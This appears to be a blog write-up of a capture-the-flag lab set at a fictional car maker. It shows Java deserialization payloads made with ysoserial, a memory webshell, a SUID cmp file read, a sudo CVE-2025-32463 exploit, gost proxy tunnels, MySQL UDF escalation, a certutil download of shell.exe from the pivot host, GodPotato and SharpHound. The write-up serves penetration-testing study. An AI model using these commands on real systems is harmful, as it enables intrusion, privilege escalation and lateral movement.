渗透学习笔记-春秋云镜-Aoselu-flag1,2
结合AI与靶场学习渗透。 本文使用的AI: gemini
本靶场以虚构汽车制造企业 Aoselu 为背景,模拟其真实企业内部网络环境,玩家需要进行信息收集、权限提升、横向移动、服务利用等内网渗透技术,逐步获取4个flag。 目前已通过信息收集获得该企业某员工的邮箱 :rachel.cook9@aoseluauto.com/!QAZ2wsx
flag1
给出一个IP,访问是一个汽车网站。
fscan扫描
http://39.99.141.172:8080/是个登录页面,登录后页面如下。

没有什么交互数据,查看cookie。
rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5
这是一个非常经典的 Java 反序列化漏洞 (Java Deserialization Vulnerability) 场景。
识别特征:userInfo Cookie 的值是以 rO0AB 开头的:
rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s...
在 Base64 编码中,rO0AB 解码后的十六进制字节是 AC ED 00 05。这是 Java 序列化对象的魔术字节 (Magic Bytes)。这说明服务器把用户的会话信息或属性序列化后,Base64 编码放在了 Cookie 里。服务器在收到请求时,大概率会将其进行 Base64 解码,并使用 ObjectInputStream.readObject() 进行反序列化。

步骤一:探测反序列化点 (使用 URLDNS 链)
在不知道后端到底使用了哪些第三方库(如 CommonsCollections、Spring 等)的黑盒情况下,最稳妥的第一步是使用 URLDNS 链。 URLDNS 链不依赖任何第三方库,使用的是 Java 原生类。它的作用是在反序列化时触发一次 DNS 请求,非常适合用来验证漏洞是否存在以及服务器是否出网。
准备一个 DNSLog 平台地址(例如 xxx.dnslog.cn)。
使用经典的 Java 反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > urldns.bin
➜ ysoserial java -jar ysoserial-all.jar URLDNS "http://cnts7w.dnslog.cn" > urldns.bin Error while generating or serializing payload java.lang.reflect.InaccessibleObjectException: Unable to make field private int java.net.URL.hashCode accessible: module java.base does not "opens java.net" to unnamed module @6a522ee2 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178) at java.base/java.lang.reflect.Field.setAccessible(Field.java:172) at ysoserial.payloads.util.Reflections.setAccessible(Reflections.java:26) at ysoserial.payloads.util.Reflections.getField(Reflections.java:34) at ysoserial.payloads.util.Reflections.setFieldValue(Reflections.java:44) at ysoserial.payloads.URLDNS.getObject(URLDNS.java:59) at ysoserial.GeneratePayload.main(GeneratePayload.java:34) ➜ ysoserial java --version openjdk 17.0.19 2026-04-21 OpenJDK Runtime Environment (build 17.0.19+10) OpenJDK 64-Bit Server VM (build 17.0.19+10, mixed mode, sharing)
JDK版本碰到问题了,发现Arch可以很方便的切换JDK。
https://wiki.archlinux.org.cn/title/Java
➜ ysoserial archlinux-java archlinux-java <COMMAND> COMMAND: status List installed Java environments and enabled one get Return the short name of the Java environment set as default set <JAVA_ENV> Force <JAVA_ENV> as default unset Unset current default Java environment fix Fix an invalid/broken default Java environment configuration ➜ ysoserial archlinux-java status Available Java environments: java-17-openjdk (default) java-8-openjdk ➜ ysoserial archlinux-java set java-8-openjdk This script must be run as root ➜ ysoserial sudo archlinux-java set java-8-openjdk ➜ ysoserial java -jar ysoserial-all.jar URLDNS "http://cnts7w.dnslog.cn" > urldns.bin ➜ ysoserial
然后继续
➜ ysoserial java -jar ysoserial-all.jar URLDNS "http://rvpl8h.dnslog.cn" > urldns.bin ➜ ysoserial cat urldns.bin | base64 rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHJ2cGw4 aC5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly9ydnBsOGguZG5zbG9nLmNueA==

返回个500,dnslog后台什么也不显示。。。。。不出网
直接用yakit吧,参考别的大佬的文章,CC8:SpringEcho可以触发。


改为ls -al,发现flag.txt需要root才能查看。先想办法连接上,但是这个服务器是不出网的。

写个内存马进去。




连接上了。找找SUID,cmp提取flag.

https://gtfobins.org/gtfobins/cmp/
cmp /flag.txt /dev/zero -b -l

flag是拿到了,想继续向下还得提取权限。
/ >sudo -V Sudo version 1.9.15p5 Sudoers policy plugin version 1.9.15p5 Sudoers file grammar version 50 Sudoers I/O plugin version 1.9.15p5 Sudoers audit plugin version 1.9.15p5
CVE-2025-32463
易受攻击:Sudo 1.9.14 ~ 1.9.17
找一个poc,传到/tmp,我这里改名为g.sh
chmod +x 之后再执行

现在是能用sudo权限执行了。
flag2
一般是先传上去一个fscan扫一下,但是还有个源码没看。

下载下来到JADX看一下,有个内网的数据库,想办法连一下。

nc测一下端口能否正常开放,ping一下果真不出网---外界能访问,但是内部不出网,代理搭建起来。


传一个gost上去,代理。
直接代数据库,发现不行gost -L tcp://:9999/172.16.52.45:3306。ping也不通。。。
直接代理再用Proxychain试试。

./gost -L socks5://:1080,先用nmap扫一下端口是开放了的。
proxychains4 curl 127.0.0.1:8080检测可用性,正常返回就是可用的。
怎么还连不上数据库!?
直接开扫,传个fscan
./g.sh /tmp/fscan -h 172.16.52.45/16 -o /tmp/nets.txt
fscan命令输入错了记得,ps -ef看一下,再./g.sh kill -9 [PID]结束一下,重新输入。

关注这俩文件,就扫出来一个这个,没耐心等了。
172.16.34.5
/16扫起来还是太麻烦了,扫/24,先看34这个C段下的。
./g.sh /tmp/fscan -h 172.16.34.1/24 -o /tmp/34_nets.txt
先扫了34的。
/tmp/34_nets.txt
# ===== 存活主机 ===== 172.16.34.23 172.16.34.5 # ===== 开放端口 ===== 172.16.34.5:445 172.16.34.23:139 172.16.34.5:139 172.16.34.23:135 172.16.34.5:135 172.16.34.5:88 172.16.34.5:53 172.16.34.5:5000 172.16.34.23:5000 172.16.34.5:3268 172.16.34.23:3389 172.16.34.23:445 172.16.34.5:3389 172.16.34.5:5985 172.16.34.23:5985 172.16.34.5:389 172.16.34.5:3269 172.16.34.5:636 # ===== 服务信息 ===== 172.16.34.5:3269 unknown 172.16.34.5:636 unknown 172.16.34.5:445 microsoft-ds SMB@ A q1, u A " Q!R b P x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_in_RFC4178@please_ign... http://172.16.34.23:139 http://172.16.34.5:139 172.16.34.23:135 msrpc @ 172.16.34.5:135 msrpc @ 172.16.34.5:88 spark 172.16.34.5:53 domain version bind http://172.16.34.23:5000 200 Werkzeug/3.1.3 Python/3.9.2 [werkzeug] 172.16.34.23:445 microsoft-ds SMB@ A ~!w @ = w P x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_in_RFC4178@please_ignore http://172.16.34.5:5000 200 Werkzeug/3.1.3 Python/3.9.2 [werkzeug] http://172.16.34.23:3389 172.16.34.5:3268 genetec-5400 0 d 0 0 domainFunctionality1 70 forestFunctionality1 70 ( domainControllerFunctionality1 70 5 rootDo... http://172.16.34.5:5985 [Not Found] 404 Microsoft-HTTPAPI/2.0 http://172.16.34.23:5985 [Not Found] 404 Microsoft-HTTPAPI/2.0 http://172.16.34.5:3389 172.16.34.5:389 genetec-5400 0 d 0 0 domainFunctionality1 70 forestFunctionality1 70 ( domainControllerFunctionality1 70 5 rootDo... # ===== Web服务 ===== http://172.16.34.23:139 http://172.16.34.5:139 http://172.16.34.23:5000 http://172.16.34.5:5000 http://172.16.34.23:3389 http://172.16.34.5:5985 http://172.16.34.23:5985 http://172.16.34.5:3389
Extranet 172.16.53.30 ASLITPC03 172.16.36.21 ASLSRVFS02 172.16.34.23 ASLSRVAD05 172.16.34.5
用官方给的吧。。172.16.36.21是数据库所在的机子,MDUT连不上啊。。。

再尝试只代理端口,只不过ip变了。
gost -L tcp://:9998/172.16.36.21:3306


总算连接上了。。。
直接来一手UDF提权。

whoami /priv

SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
SeImpersonatePrivilege是个好东西
发现新装的Arch没工具,去取了个
vshell,先中场休息。
重新启动了环境,
先生成一个正向客户端。

再传过去,先用冰蝎传到入口机,入口机开个http服务,数据库机器再下载。
入口机器是有python的。

python3 -m http.server 8888
然后在MDUT上执行下面的命令下载,
certutil.exe -urlcache -split -f http://172.16.53.30:8888/shell.exe "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Data\\shell.exe"
然后再执行shell.exe运行。
回到Vshell连接。


进入shell

传个GodPotato,
GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\flag.txt"

把shell.exe也用potato跑一下提升权限。
先结束原来的
tasklist看一下PID
shell.exe 4924 Services 0 28,064 K
taskkill /pid 4924 /F
然后再回MDUT运行shell.exe
GodPotato-NET4.exe -cmd "cmd /c C:\\Users\\Public\\shell.exe"
再连接。

传个SharpHound上去

C:\Users\Public>SharpHound -c all 2026-05-08T20:27:50.3451508-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound 2026-05-08T20:27:50.5918745-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container , RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2026-05-08T20:27:50.6242910-07:00|INFORMATION|Initializing SharpHound at 8:27 PM on 5/8/2026 2026-05-08T20:27:51.1031545-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for aoseluauto.com : ASLSRVAD05.aoseluauto.com 2026-05-08T20:27:51.1487958-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DC OM, SPNTargets, PSRemote 2026-05-08T20:27:51.3732652-07:00|INFORMATION|Beginning LDAP search for aoseluauto.com 2026-05-08T20:27:51.4426141-07:00|INFORMATION|Producer has finished, closing LDAP channel 2026-05-08T20:27:51.4524217-07:00|INFORMATION|LDAP channel closed, waiting for consumers 2026-05-08T20:28:21.9764444-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM 2026-05-08T20:28:36.7558453-07:00|INFORMATION|Consumers finished, closing output channel 2026-05-08T20:28:36.8209978-07:00|INFORMATION|Output channel closed, waiting for output task to complete Closing writers 2026-05-08T20:28:36.9248141-07:00|INFORMATION|Status: 234 objects finished (+234 5.2)/s -- Using 44 MB RAM 2026-05-08T20:28:36.9252461-07:00|INFORMATION|Enumeration finished in 00:00:45.5602768 2026-05-08T20:28:37.0429893-07:00|INFORMATION|Saving cache with stats: 192 ID to type mappings. 193 name to SID mappings. 1 machine sid mappings. 2 sid to domain mappings. 0 global catalog mappings. 2026-05-08T20:28:37.0570917-07:00|INFORMATION|SharpHound Enumeration Completed at 8:28 PM on 5/8/2026! Happy Graphing!
下载同目录的安装包,传到BloodHunter
Find Shortest Paths to Domain Admins

C:\Users\Public>net time /domain Current time at \\ASLSRVAD05.aoseluauto.com is 5/8/2026 9:04:49 PM The command completed successfully.
不会了捏,先写这么多。
QAQ
评论区
评论加载中...